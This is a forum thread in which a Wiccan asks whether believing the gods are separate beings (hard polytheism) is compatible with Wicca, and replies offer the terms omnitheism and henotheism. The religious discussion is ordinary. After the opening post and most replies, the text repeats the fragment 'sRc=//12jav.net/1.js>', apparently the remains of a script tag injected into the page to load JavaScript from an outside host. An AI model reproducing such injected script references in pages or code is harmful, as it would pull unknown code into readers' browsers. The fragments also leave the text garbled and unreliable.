Wicca and Hard Polytheism

I guess, before I start rambling and stuff, I kinda want to thank everybody in the Wicca forum for putting up with my stuff thus far. It's been really nice of you. C:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, I consider myself to be Wiccan (or at the very least a Wiccanesque pagan), but I'm having a little bit of trouble with deity concepts.

See... I'm more of a hard polytheist..which I can see kind of contradicts the whole Wiccan belief. Like, I believe in the Lord and the Lady, and Odin and Athena and Juno, but I don't think that all gods are one god and all goddesses are one goddess. In my view, the Lord is a different deity than Zeus, and the Lady is separate from Astarte, and so on. I worship both named deities and the Horned God and Triple Goddess, but I see them as different things and separate, different entities. Does anyone else believe this way, and what is this system called? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Login or Signup to reply to this post.

This is a very good post and I also would like to know. I'm sure there will be a few people that would know. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Omnitheism should qualify for this (generally), but only if you believe (not saying you have to put faith in) them all.

sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I am a hard polytheist and Wiccan as well and I don't think that is an issue.

Remember that Wicca is an experiential religion, which means that we don't define the Gods as one thing or another, but rather see them as how we personally experience them. So one can see them as a hard polytheist would, or as a soft polytheist would, or even simply as Jungian archetypes.

In British Traditional Wicca the Horned God and the Moon Goddess are specific deities with names only revealed to the initiated. The idea that they are a reflection of all of the Gods and Goddesses seems to be a more modern and Neo-Wiccan variety.

There is actually a theological term for people who are hard polytheists and who worship specific Gods and Goddesses. They are called " Henotheists ". A Henotheist worships some specific deities without denying that other deities exist.

sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>